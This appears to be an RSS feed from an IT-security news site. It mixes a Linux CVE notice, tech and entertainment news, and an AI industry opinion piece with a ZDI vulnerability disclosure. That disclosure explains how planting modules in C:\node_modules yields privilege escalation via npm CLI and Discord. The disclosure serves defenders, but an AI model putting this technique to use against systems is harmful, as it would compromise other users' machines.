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<title><![CDATA[Team IT Security - 📰 Alle Kategorien]]></title>
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<lastBuildDate>Wed, 29 Jul 2026 13:54:30 +0200</lastBuildDate>
<pubDate>Wed, 29 Jul 2026 13:54:30 +0200</pubDate>
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<copyright>2026 Team IT Security</copyright>
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<title><![CDATA[Team IT Security - 📰 Alle Kategorien]]></title>
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<item>
<title><![CDATA[CVE-2026-64439 | Linux Kernel up to 6.18.38/7.1.3 Crypto rfc3961_simplified.c use after free (Nessus ID 329965)]]></title>
<description><![CDATA[A vulnerability marked as very critical has been reported in Linux Kernel up to 6.18.38/7.1.3. This issue affects the function krb5_aead_encrypt/krb5_aead_decrypt/rfc8009_encrypt/rfc8009_decrypt of the file rfc3961_simplified.c of the component Crypto. This manipulation causes use after free.

Th...]]></description>
<link>https://tsecurity.de/de/3695672/sicherheitsluecken/cve-2026-64439-linux-kernel-up-to-61838713-crypto-rfc3961simplifiedc-use-after-free-nessus-id-329965/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3695672/sicherheitsluecken/cve-2026-64439-linux-kernel-up-to-61838713-crypto-rfc3961simplifiedc-use-after-free-nessus-id-329965/</guid>
<pubDate>Sun, 26 Jul 2026 15:20:41 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability marked as <a href="https://vuldb.com/kb/risk">very critical</a> has been reported in <a href="https://vuldb.com/product/linux:kernel">Linux Kernel up to 6.18.38/7.1.3</a>. This issue affects the function <code>krb5_aead_encrypt/krb5_aead_decrypt/rfc8009_encrypt/rfc8009_decrypt</code> of the file <em>rfc3961_simplified.c</em> of the component <em>Crypto</em>. This manipulation causes use after free.

This vulnerability appears as <a href="https://vuldb.com/cve/CVE-2026-64439">CVE-2026-64439</a>. The attack may be initiated remotely. There is no available exploit.

It is suggested to upgrade the affected component.]]></content:encoded>
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<title><![CDATA[A Promising Process For Nuclear Fuel Re-use and Disposal?]]></title>
<description><![CDATA[A Canadian lab has run a chemical process on real spent nuclear fuel "and pulled out 90% of the long-lived danger in 24 hours, the part that forces a burial site to last 100,000 years," notes the blog Autonocio, "with the leftovers meant to fuel a reactor."


The standard plan for spent nuclear f...]]></description>
<link>https://tsecurity.de/de/3695586/it-security-nachrichten/a-promising-process-for-nuclear-fuel-re-use-and-disposal/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3695586/it-security-nachrichten/a-promising-process-for-nuclear-fuel-re-use-and-disposal/</guid>
<pubDate>Sun, 26 Jul 2026 13:48:14 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A Canadian lab has run a chemical process on real spent nuclear fuel "and pulled out 90% of the long-lived danger in 24 hours, the part that forces a burial site to last 100,000 years," notes the blog Autonocio, "with the leftovers meant to fuel a reactor."


The standard plan for spent nuclear fuel is to wait it out. You pull the used bundles from a reactor, sit them in a pool of water for seven to ten years while the heat and radiation come down, seal them in concrete casks, and look for somewhere deep and geologically dull to leave them for the next hundred thousand years. Canada has been hunting for that burial site since the 1980s and still doesn't have one in the ground. 

A company in Saint John, New Brunswick thinks most of what makes that waste dangerous never needed to go in the ground at all. Moltex Energy Canada says a chemical process it calls WATSS can strip 90% of the long-lived material out of used Canada Deuterium Uranium [CANDU] fuel in 24 hours, and that the concentrated leftovers become fuel for a reactor it wants to build on the same site. The recovery step isn't a slide in a pitch deck anymore. In 2025, World Nuclear News reported that Canadian Nuclear Laboratories ran the process on real used fuel from a commercial Canadian reactor and confirmed the 90% figure. 

None of it is generating power yet. What exists is a validated chemical step and a reactor design waiting in line at a regulator. The rest is a 2030s problem. 

"The chemistry has a lab result behind it. The reactor does not exist..." the article points out. "Moltex is aiming to have its first WATSS and SSR-W units running at Point Lepreau by the early-to-mid 2030s... Not everyone buys the pitch. Critics have argued the reprocessing creates its own stream of byproducts, that the economics are unproven, and that a single site's stockpile is finite." 

But Moltex "isn't alone in trying to burn nuclear waste instead of bury it," the article notes, with Switzerland and Denmark "chasing the same goal a different way."


 Switzerland's Transmutex drives a subcritical reactor with a particle accelerator, feeding it spent fuel alongside thorium... Denmark's Copenhagen Atomics is building a thorium molten-salt reactor that fits inside a shipping container and runs on the leftovers from conventional plants. 


Thanks to long-time Slashdot reader kwelch007 for sharing the article.
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</div><p><a href="https://news.slashdot.org/story/26/07/26/0456203/a-promising-process-for-nuclear-fuel-re-use-and-disposal?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
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<title><![CDATA[Comic-Con 2026 Debuts Trailers for 'Coyote vs Acme' Movie, Plus 'Neuromancer' and 'Blade Runner 2099' Series]]></title>
<description><![CDATA[Big news from Comic-Con 2026:

"Coyote vs. ACME" debuted its long-awaited final trailer. CNET calls it "an animation-meets-live-action story," with the Coyote catapulting into theaters this August 28. (The film began development back in 2018, but was shelved for a tax write-off in 2023 by Warner ...]]></description>
<link>https://tsecurity.de/de/3695323/it-security-nachrichten/comic-con-2026-debuts-trailers-for-coyote-vs-acme-movie-plus-neuromancer-and-blade-runner-2099-series/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3695323/it-security-nachrichten/comic-con-2026-debuts-trailers-for-coyote-vs-acme-movie-plus-neuromancer-and-blade-runner-2099-series/</guid>
<pubDate>Sun, 26 Jul 2026 10:01:17 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Big news from Comic-Con 2026:

"Coyote vs. ACME" debuted its long-awaited final trailer. CNET calls it "an animation-meets-live-action story," with the Coyote catapulting into theaters this August 28. (The film began development back in 2018, but was shelved for a tax write-off in 2023 by Warner Bros. until a backlash led to its sale to Ketchup Entertainment.) "Fed up with Acme's unreliable products, Wile E. Coyote decides to hire a lawyer and sue the company..." writes CNET. "The movie also features Lana Condor along with a host of Looney Tunes characters like Porky Pig, Tweety, Foghorn Leghorn and Granny (who gets dinged by an anvil)."
In other movie news, CNET says Johnny Depp also "made a surprise appearance at Comic-Con, donning a costume as Ebenezer Scrooge" to promote his November 13 movie about the miser from Charles Dickens' famous Christmas novella. (Ian McKellen and Daisy Ridley are also in the movie.)


But several geek favorites are being filmed as TV series...

 There's big news for William Gibson fans, reports Entertainment Weekly. "Two years after Apple TV announced production on the first-ever series adaptation of William Gibson's seminal 1984 novel Neuromancer, the lucky few hundred who attended the studio's Hall H panel at Comic-Con 2026 got to watch the first teaser. 

For Amazon's Prime Video, the Tolkien-derived "Rings of Power" series released a season 3 trailer that CNET said "successfully hides the best parts with fire... The trailer suggests that Sauron is building an army, and all of Middle-earth is trying to find ways to stop him... Rings of Power season 3 will start dropping weekly episodes on Nov. 11, meaning this show will be airing at the same time the Peter Jackson films will be celebrating their 25th anniversary."
Later in November Amazon's Prime Video will also debut Blade Runner 2099, an eight-episode series that's a sequel to 2017's film Blade Runner 2049, reports CNET. "Set in an alternate version of LA where replicants run things and the humans play second fiddle, the series sees Yeoh's replicant Olwen chasing down outlaw replicants who've gone missing. With her own shelf life on a ticking clock, the stakes are high for her and for her human fugitive partner, Cora..."
Paramount Plus will debut Avatar: Seven Havens in October, a new animated series from the creators of Avatar: The Last Airbender which CNET says "follows a pair of twin avatars, one of whom is Korra's successor."

Disney+ has season 3 of Percy Jackson and the Olympians.
Kevin Feige said Marvel's television slate will include more seasons of "X-Men '97" and the upcoming "VisionQuest" TV series.
HBO Max will launch a new Green Lantern series called Lanterns on August 16.
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</div><p><a href="https://entertainment.slashdot.org/story/26/07/26/038200/comic-con-2026-debuts-trailers-for-coyote-vs-acme-movie-plus-neuromancer-and-blade-runner-2099-series?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
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<title><![CDATA[Apple could ‘run the table’ on AI if it does things right]]></title>
<description><![CDATA[Looking ahead just a short time, Apple could hold a powerful position in AI where it most makes sense: deployment.



Not only will the company offer up its own AI models for the kind of tasks millions use ChatGPT to do today, but it will provide more sophisticated on-device agentic models to hel...]]></description>
<link>https://tsecurity.de/de/3694780/ai-nachrichten/apple-could-run-the-table-on-ai-if-it-does-things-right/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694780/ai-nachrichten/apple-could-run-the-table-on-ai-if-it-does-things-right/</guid>
<pubDate>Sat, 25 Jul 2026 19:50:13 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Looking ahead just a short time, Apple could hold a powerful position in AI where it most makes sense: deployment.</p>



<p class="wp-block-paragraph">Not only will the company offer up its own AI models for the kind of tasks millions use ChatGPT to do today, but it will provide more sophisticated on-device agentic models to help users get things done through Siri AI.</p>



<p class="wp-block-paragraph">Apple also <a href="https://www.macobserver.com/news/apple-calls-its-new-assistant-siri-ai-at-wwdc-2026-gemini-partnership-now-official/" target="_blank" rel="noreferrer noopener">offers limited capacity for more complex tasks</a> through <a href="https://www.applemust.com/apple-commences-us-manufacturing-of-private-cloud-compute-servers/" target="_blank" rel="noreferrer noopener">Private Cloud Compute</a>, and, in partnership with the likes of Google in the US and Alibaba in China, the company is giving users a trusted conduit through which to access even more sophisticated AI services. </p>



<h2 class="wp-block-heading"><strong>Deeply deployable</strong></h2>



<p class="wp-block-paragraph">Critics can say it <a href="https://www.computerworld.com/article/4168225/wwdc-2026-how-apple-can-take-a-great-leap-in-ai.html">took Apple a long time</a> to get to this point, but they also seem to think the company has finally got the mix right with its series 27 operating systems. Arriving late to a party <a href="https://www.computerworld.com/article/4164979/apple-will-be-behind-on-ai-until-it-isnt.html">doesn’t mean you won’t shine once you get there</a>.</p>



<p class="wp-block-paragraph">Apple is also coming up the inside lane around frontier AI, with iterative OS and hardware enhancements that mean its devices become increasingly effective for <a href="https://www.computerworld.com/article/4016798/why-i-hope-apple-keeps-investing-in-on-device-ai.html">Edge AI use cases</a>, on device — no cloud service required.</p>



<p class="wp-block-paragraph">The company appears to be digging down into those use cases. Mark Gurman at Bloomberg recently predicted that <a href="https://www.tomshardware.com/tech-industry/semiconductors/apples-rumored-m7-ultra-targets-1-5tb-of-memory-and-blackwell-class-ai" target="_blank" rel="noreferrer noopener">future M7 Ultra Macs</a> will support as much as 1.5TB RAM, making these systems more than capable of running full weight frontier models in people’s offices, colleges, and homes. </p>



<p class="wp-block-paragraph">While that does assume the <a href="https://www.computerworld.com/article/4187825/the-trillion-dollar-ai-hallucination.html">AI-flationary memory market</a> can supply that much RAM at prices humans can afford, it is also true that people are already <a href="https://www.computerworld.com/article/4092162/apples-macos-ai-for-the-rest-of-us.html">running AI clusters</a> using off-the-shelf Mac minis networked over Thunderbolt cables. It’s no stretch to believe <a href="https://www.applemust.com/macweb-now-offers-mac-mini-cloud-clusters-in-east-coast-data-centre/" target="_blank" rel="noreferrer noopener">this will continue to be the case</a>, and that it will even broaden as the power/performance offered at the high end grows.</p>



<h2 class="wp-block-heading"><strong>What’s wrong with good enough?</strong></h2>



<p class="wp-block-paragraph">When combined with open AI stacks, particularly newly emerging varieties, Apple’s platforms should become leading contenders for <a href="https://www.computerworld.com/article/4074648/apples-big-bang-ai-moment-is-approaching.html">private AI services</a> and edge AI. Many business users will leap at the chance to offer their workers powerful, self-hosted, private AI services using one or more daisy-chained Mac Studios or Mac minis. The recent craze in deployment of both Macs to support <a href="https://openclaw.ai/" target="_blank" rel="noreferrer noopener">OpenClaw</a> instances shows they already are.</p>



<p class="wp-block-paragraph">Ultimately, these different slices of momentum mean I agree with <a href="https://podcastalpha.substack.com/p/all-in-can-ai-regulate-itself-stripe" target="_blank" rel="noreferrer noopener">investor Jason Calacanis</a> that Apple is in position to apply a great deal of pressure on OpenAI and Claude just by putting models on their devices. </p>



<p class="wp-block-paragraph">It’s also worth thinking about how people use AI today. How many of the queries made in the world right now constitute relatively simple tasks that could be transacted by on-device AI, such as the emerging new version of Apple Intelligence or even smaller LLM models running on device? You can even run <a href="https://9to5mac.com/2026/07/14/prismml-releases-bonsai-27b-claiming-first-major-ai-model-of-its-size-fit-for-iphone/" target="_blank" rel="noreferrer noopener">PrismML’s 1-bit, 27-billion parameter Bonsai</a> on an iPad using the Locally app, and that’s in the here and now.</p>



<p class="wp-block-paragraph">What happens? Pretty soon you’ll find people recognize that they can already run the vast majority of their AI-augmented workflows using services they <a href="https://www.applemust.com/morgan-stanley-its-when-not-if-apple-will-deliver-ai-on-the-edge/" target="_blank" rel="noreferrer noopener">have on their existing device</a> or can access on their on-prem Mac set-ups. And, of course, as people get used to running small tasks locally and larger tasks on premises, the actual space in which they need to turn to cloud-based frontier models <a href="https://www.computerworld.com/article/4195657/apple-is-prepping-for-life-after-the-ai-gold-rush.html">will erode</a>. That’s even as companies like PrismML work towards slimming down full-weight models so they don’t need to run on a server at all. </p>



<p class="wp-block-paragraph">“It’s going to be wild when people have unlimited tokens on their desks,” said Calacanis in a podcast round table discussion.</p>



<h2 class="wp-block-heading"><strong>Who has the most to lose?</strong></h2>



<p class="wp-block-paragraph">The current incarnations of AI felt like they came from nowhere. Most people weren’t aware of the technology until returning to work after the 2022 holiday season. Since then, the industry has proliferated with dozens of competing models, most recently including powerful but affordable frontier models such as Qwen and Kimi.ai.</p>



<p class="wp-block-paragraph">These models aren’t necessarily all as good as one another, but in many cases for much of what we do, we’ll find them to be good enough. That’s an existential crisis for some, as industry observers now think the inevitable pricing pressure means some services might have over-invested in capacity before finding any way to turn a profit.</p>



<p class="wp-block-paragraph">Those profit-seeking services are the ones with the most to lose as Apple extends its hardware advantage, democratizing AI access for all while providing platforms suitable for edge AI, on-premises AI, private AI, and even AI access using third-party services. (The need for the latter will shrink as the capabilities of the former get better.)</p>



<h2 class="wp-block-heading"><strong>Cupertino rising</strong></h2>



<p class="wp-block-paragraph">What does this all mean? While the industry remains young, it is already fragmenting. And striding through the dust of that process comes Apple, equipped with the hardware, software, and approach to build its business even as the enterprise of first mover AI services erodes. </p>



<p class="wp-block-paragraph"><em>You can follow me on social media! Join me on <a href="https://bsky.app/profile/jonnyevanssays.bsky.social" target="_blank" rel="noreferrer noopener">BlueSky</a>,  <a href="http://www.linkedin.com/in/jonnyevans" target="_blank" rel="noreferrer noopener">LinkedIn</a>, <a href="https://social.vivaldi.net/@jonnyevans" target="_blank" rel="noreferrer noopener">Mastodon</a> and subscribe to my daily Apple-related news summaries at <a href="https://thecorenews.substack.com/p/welcome-to-the-core?r=5l3lg" target="_blank" rel="noreferrer noopener">The Core</a>.</em></p>
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<title><![CDATA[Sam Altman’s biometric startup World raises $52.5M via crypto sale]]></title>
<description><![CDATA[Sam Altman's side project — which seeks to scan the world's eyeballs and turn them into unique digital identifiers — has raised some fresh cash through a crypto sale.]]></description>
<link>https://tsecurity.de/de/3694738/ai-nachrichten/sam-altmans-biometric-startup-world-raises-525m-via-crypto-sale/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694738/ai-nachrichten/sam-altmans-biometric-startup-world-raises-525m-via-crypto-sale/</guid>
<pubDate>Sat, 25 Jul 2026 19:49:49 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Sam Altman's side project — which seeks to scan the world's eyeballs and turn them into unique digital identifiers — has raised some fresh cash through a crypto sale.]]></content:encoded>
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<title><![CDATA[How to Optimize Vector Search When RAM Gets Too Expensive: On-Disk vs. In-Memory ANN Indexes]]></title>
<description><![CDATA[Architecting cost-effective infrastructure by navigating the latency and storage trade-offs of HNSW, SPANN, and DiskANN
The post How to Optimize Vector Search When RAM Gets Too Expensive: On-Disk vs. In-Memory ANN Indexes appeared first on Towards Data Science.]]></description>
<link>https://tsecurity.de/de/3694700/ai-nachrichten/how-to-optimize-vector-search-when-ram-gets-too-expensive-on-disk-vs-in-memory-ann-indexes/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694700/ai-nachrichten/how-to-optimize-vector-search-when-ram-gets-too-expensive-on-disk-vs-in-memory-ann-indexes/</guid>
<pubDate>Sat, 25 Jul 2026 19:49:17 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Architecting cost-effective infrastructure by navigating the latency and storage trade-offs of HNSW, SPANN, and DiskANN</p>
<p>The post <a href="https://towardsdatascience.com/optimizing-vector-search-on-disk-vs-in-memory-ann-indexes-when-ram-gets-too-expensive/">How to Optimize Vector Search When RAM Gets Too Expensive: On-Disk vs. In-Memory ANN Indexes</a> appeared first on <a href="https://towardsdatascience.com/">Towards Data Science</a>.</p>]]></content:encoded>
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<title><![CDATA[Node.js Trust Falls: Dangerous Module Resolution on Windows]]></title>
<description><![CDATA[In September of 2024, ZDI received a vulnerability submission from an anonymous researcher affecting npm CLI that revealed a fundamental design issue in Node.js. This blog details how it continues to expose applications to local privilege escalation (LPE) attacks on Windows systems, including the...]]></description>
<link>https://tsecurity.de/de/3694571/hacking/nodejs-trust-falls-dangerous-module-resolution-on-windows/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694571/hacking/nodejs-trust-falls-dangerous-module-resolution-on-windows/</guid>
<pubDate>Sat, 25 Jul 2026 19:02:58 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p class="">In September of 2024, ZDI received a vulnerability submission from an anonymous researcher affecting <a href="https://docs.npmjs.com/cli/v11">npm CLI</a> that revealed a fundamental design issue in <a href="https://nodejs.org/en">Node.js</a>. This blog details how it continues to expose applications to local privilege escalation (LPE) attacks on Windows systems, including the Discord desktop app (CVE-2026-0776 0-Day), which remains unpatched and vulnerable.</p>





















  
  



<p>The issue is straightforward: when Node.js resolves modules, the runtime searches for packages in <code>C:\node_modules</code> as part of its default behavior. Since low-privileged Windows users can create this directory and plant malicious modules there, any Node.js application with missing or optional dependencies becomes vulnerable to privilege escalation.</p>




  <p class="">This issue is not new. Concerned discussions about Node.js's module search path behavior date back to <a href="https://groups.google.com/g/nodejs/c/5BGr5dliUIk/m/abJEH3sPymcJ">2013</a> and <a href="https://github.com/nodejs/node-v0.x-archive/issues/8830">2014</a>.</p><p class="">Node.js has explicitly <a href="https://github.com/nodejs/node/security/policy#uncontrolled-search-path-element-cwe-427">stated</a> that they consider this behavior intentional: </p><p class="">"Node.js trusts the file system." </p><p class="">They do not treat CWE-427 (Uncontrolled Search Path Element) as a vulnerability, pushing responsibility onto application developers. </p>





















  
  














































  

    
  
    

      

      
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            <p data-rte-preserve-empty="true"><em>Figure 1: The vendor’s security policy stance on CWE-427 as a non-issue</em></p>
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  <p class="">As the case studies below demonstrate, this stance has dangerous consequences. Developers are largely unaware of this attack surface, and the result is a proliferation of exploitable applications. We will show examples in npm CLI and Discord, but there are likely many more applications that are impacted by this.</p><p class=""><strong>Root Cause</strong></p><p class="">The root cause lies in the way Node.js performs module resolution. This is documented <a href="https://nodejs.org/api/modules.html#loading-from-node-modules-folders">here.</a> Although UNIX paths are used in the documentation provided by Node.js, the same logic is applied on Windows.</p>





















  
  



<p>When a Node.js application calls require(‘bar’), the runtime searches for the module in the following order:  </p>
<ol>
<li>   C:\Users\Administrator\projects\node_modules\bar.js</li>
<li>   C:\Users\Administrator\node_modules\bar.js</li>
<li>   C:\Users\node_modules\bar.js</li>
<li>   C:\node_modules\bar.js              &lt;-- The problem</li>
</ol>
<p>If the legitimate package is missing, whether due to optional dependencies, development packages removed in production, or installation failures, the resolution search will eventually reach the root of the drive. Any user can create <code>C:\node_modules</code> and place a malicious package there. Once the low-privileged user has populated <code>C:\node_modules\bar.js</code>, Node.js will load and execute it in the context of the current user. In the following case studies, we will provide evidence of how, despite properly following NPM’s <a href="https://docs.npmjs.com/cli/v11/configuring-npm/package-json#optionaldependencies">guidelines</a>, third-party dependencies end up triggering this vulnerability anytime you launch the application.   </p>
<p><b data-preserve-html-node="true">Case Studies: Real-World Manifestations</b>  </p>
<p>The Optional Dependency Pattern:
npm supports optional dependencies to be specified in the project’s package.json file. The <a href="https://docs.npmjs.com/cli/v11/configuring-npm/package-json#optionaldependencies">recommended pattern</a> for checking for these dependencies is as follows:</p>












































  

    
  
    

      

      
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            <p data-rte-preserve-empty="true"><em>Figure 2: npm Docs showing optionalDependencies example code      </em></p>
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<p>This pattern silently catches errors when optional packages are missing, allowing execution to continue. So what’s the problem? On Windows, Node.js will search all the way up to <code>C:\node_modules</code> where an attacker may have planted a malicious replacement. This search behavior mirrors UNIX conventions where <code>/node_modules</code> at the filesystem root is typically only writable by root. Windows systems by default allow any user to create <code>C:\node_modules</code>. Once <code>require</code> is called, Node.js will traverse the search path and execute any matching module it finds.  </p>
<p>Important things to note:  </p>
<ol>
<li>   This pattern can be found in third party libraries deep in a dependency tree, as we will see in the following examples.  </li>
<li>   There is no runtime indication to either the developers or the end users that such a vulnerability exists without looking at the filesystem logs with Procmon.  </li>
<li>   The optional dependency pattern itself would not be dangerous if Node.js did not search for packages in <code>C:\node_modules</code>.</li>
</ol>
<p>Let’s take a deeper look at both cases and see why this is so dangerous.  </p>
<p><b data-preserve-html-node="true">Case 1: npm CLI (ZDI-26-043 / ZDI-CAN-25430 / CVE-2026-0775)</b>. </p>
<p>Prior to version 11.2.0, npm CLI used a library called “promise-inflight”, which contained an optional dependency on a package called “bluebird”. </p>












































  

    
  
    

      

      
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            <p data-rte-preserve-empty="true"><em>Figure 3: npm CLI repo </em><a href="https://github.com/npm/cli/blob/977fd5784f875fdc2e3436ed15c444ddca63e3d7/node_modules/promise-inflight/inflight.js#L6"><em>snippet</em></a><em> </em><a href="https://github.com/npm/cli/blob/977fd5784f875fdc2e3436ed15c444ddca63e3d7/node_modules/promise-inflight/inflight.js#L6"><em>showing</em></a><em> require call for missing bluebird package dependency</em></p>
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<p>When Node.js is installed on the system, npm is included by default without the <code>bluebird</code> package.  This vulnerability was introduced when bluebird was removed through a well-intentioned pull request (<a href="https://github.com/npm/cli/pull/1438/changes">https://github.com/npm/cli/pull/1438/changes</a>), demonstrating how easy it is for developers to unknowingly create this attack surface.</p>
<p>We can see Node’s package resolution logic at work in the screenshot below:</p>












































  

    
  
    

      

      
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            <p data-rte-preserve-empty="true"><em>Figure 4: Procmon log showing the package resolution behavior of Node.js via CVE-2026-0775</em></p>
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<p>First, the application looks for the <code>bluebird.js</code> package in the Node.js installation directory. Node.js sequentially searches back to the system root until it finds the package. If an attacker has placed <code>C:\node_modules\bluebird.js</code>, the <code>require</code> call will find, read, and execute the malicious payload in the context of any user running npm on the system. </p>
<p>This vulnerability is especially dangerous because it is triggered when many <code>npm *</code> cli commands are used. Common development commands such as <code>npm install</code>, <code>npm –l</code>, and <code>npm prune</code> will all execute the malicious <code>bluebird.js</code>package.</p>
<p><b data-preserve-html-node="true">Case 2: Discord (ZDI-26-040/ ZDI-CAN-27057 / CVE-2026-0776/ UNPATCHED)</b></p>
<p>On April 22, 2025, ZDI received a report for a similar vulnerability in Discord reported by T. Doğa Gelişli. Discord uses the ws WebSocket library, which contains an optional dependency on utf-8-validate for compatibility with older Node.js versions:</p>












































  

    
  
    

      

      
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            <p data-rte-preserve-empty="true">Figure 5: websockets library repo snippet showing require call for missing utf-8-validate package dependency</p>
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<p>Discord does not ship with the utf-8-validate package. As a result, the following Procmon logs show the same behavior as Case 1. Anytime Discord is launched, the attacker controlled <code>C:\node_modules\utf-8-validate.js</code> is executed.</p>












































  

    
  
    

      

      
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                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2c563913-8390-46a3-aa48-5dcc755c7d4a/Capture.png" data-image-dimensions="1074x528" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2c563913-8390-46a3-aa48-5dcc755c7d4a/Capture.png?format=1000w" width="1074" height="528" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2c563913-8390-46a3-aa48-5dcc755c7d4a/Capture.png?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2c563913-8390-46a3-aa48-5dcc755c7d4a/Capture.png?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2c563913-8390-46a3-aa48-5dcc755c7d4a/Capture.png?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2c563913-8390-46a3-aa48-5dcc755c7d4a/Capture.png?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2c563913-8390-46a3-aa48-5dcc755c7d4a/Capture.png?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2c563913-8390-46a3-aa48-5dcc755c7d4a/Capture.png?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2c563913-8390-46a3-aa48-5dcc755c7d4a/Capture.png?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
            
          
        

        
          
          <figcaption data-sqsp-image-classic-block-caption-container class="image-caption-wrapper">
            <p data-rte-preserve-empty="true">Figure 6: Procmon log showing the package resolution behavior of Node.js via CVE-2026-0776</p>
          </figcaption>
        
      
        </figure>
      

    
  


  


<p>The ws library does support disabling this check via the <code>WS_NO_UTF_8_VALIDATE</code> environment variable, but this requires the consuming application (Discord) to set it explicitly. Here’s a quick video demonstrating the bug by popping the calc app when opening Discord:</p>


  














  
    
      
    
    
      
        
          
          
        
      
      
      



    
  








  <p class="">Discord automatically opens on login by default, so in practice code execution happens immediately without any user interaction. Strangely, the Discord Security team made it clear to us in their responses that they do not consider local attack vectors as valid security issues. </p><p class=""><strong>The Bigger Picture</strong></p><p class="">The cases above represent only a few of the applications affected by this pattern. During our investigation we found many other independent reports.  These issues in <a href="https://jira.mongodb.org/browse/COMPASS-9058">Mongo DB Compass</a> and <a href="https://jira.mongodb.org/browse/MONGOSH-2028">Mongo DB Shell</a> are just two other examples.</p><p class="">Every Windows application built on Node.js with missing or optional dependencies is potentially vulnerable. This includes desktop applications that utilize Electron as well as popular web frameworks such as Next.js and React.</p><p class="">Each vendor has clearly stated that they will not treat these issues as vulnerabilities: </p><p class="">NPM’s response to our report: </p><p class=""><em>“exploits that require local access to a machine are considered ineligible for npm CLI</em></p><p class="">Discord’s response to our report:</p><p class=""><em>“We do not consider physical/local attacks as valid security issues”</em></p><p class="">Node.js, in the “Examples of non-vulnerabilities” section of their <a href="https://github.com/nodejs/node/security/policy#examples-of-non-vulnerabilities">Security Policy</a>: </p><p class=""><em>“Node.js trusts the file system in the environment accessible to it. Therefore, it is not a vulnerability if it accesses/loads files from any path that is accessible to it.” </em></p><p class=""><strong>Conclusion</strong></p>





















  
  



<p>The vulnerability pattern described in this blog stems from a deliberate design decision by Node.js maintainers. While Node.js's position that “applications should trust their filesystem” may hold true on properly administered UNIX systems, it creates a systemic vulnerability on Windows where low-privileged users can write to <code>C:\node_modules</code>. Without a fix from Node.js, the burden silently falls on application developers.   </p>
<p>Making matters worse, the vulnerable code may not live in the application code itself. The optional dependencies that trigger this behavior could come from third-party libraries buried in the dependency tree as we saw with both Discord and npm CLI. </p>




  <p class="">We encourage security researchers to further review this issue and investigate other applications for this dangerous behavior. You can find us online at <a href="https://x.com/bobbygould5">@bobbygould5</a> and <a href="https://x.com/izobashi">@izobashi</a>, and follow the team on <a href="https://www.twitter.com/thezdi">Twitter</a>, <a href="https://infosec.exchange/@thezdi">Mastodon</a>, <a href="https://www.linkedin.com/company/zerodayinitiative">LinkedIn</a>, or <a href="https://bsky.app/profile/thezdi.bsky.social">Bluesky</a> for the latest in exploit techniques and security patches.</p><p class=""> </p><p class="">DISCLOSURE TIMELINES</p><p class=""> </p><p class="">NPM CLI: </p><p class="">2024-11-13 – ZDI submitted the report to the vendor</p><p class="">2024-11-13 – The vendor acknowledged the receipt of the report</p><p class="">2024-11-13 – The vendor communicated that the reported behavior was by design and they do not consider local attacks as valid security issues</p><p class="">2025-08-05 – ZDI encouraged the vendor to re-assess the issue</p><p class="">2025-12-18 – ZDI notified the vendor of the intention to publish the case as a 0-day advisory</p><p class=""> </p><p class="">DISCORD: </p><p class="">2025-07-08 – ZDI notified vendor </p><p class="">2025-09-11 – ZDI followed up with vendor </p><p class="">2025-09-15 – Vendor stated they do not consider local attacks as valid security issues </p><p class="">2025-12-01 – ZDI explained why we believe the issue is still valid </p><p class="">2025-12-10 – Vendor replied that the vulnerability is still out of scope  </p><p class="">2025-12-11 – ZDI informed vendor of intent to publish 0-day  </p><p class="">  </p><p class="">REFERENCES</p><p class=""><a href="https://nodejs.org/api/modules.html#loading-from-node_modules-folders">https://nodejs.org/api/modules.html#loading-from-node_modules-folders</a></p><p class=""><a href="https://docs.npmjs.com/cli/v10/configuring-npm/package-json#optionaldependencies">https://docs.npmjs.com/cli/v10/configuring-npm/package-json#optionaldependencies</a></p><p class=""><a href="https://groups.google.com/g/nodejs/c/5BGr5dliUIk/m/abJEH3sPymcJ?pli=1">https://groups.google.com/g/nodejs/c/5BGr5dliUIk/m/abJEH3sPymcJ?pli=1</a></p><p class=""><a href="https://github.com/nodejs/node-v0.x-archive/issues/8830">https://github.com/nodejs/node-v0.x-archive/issues/8830</a></p><p class=""><a 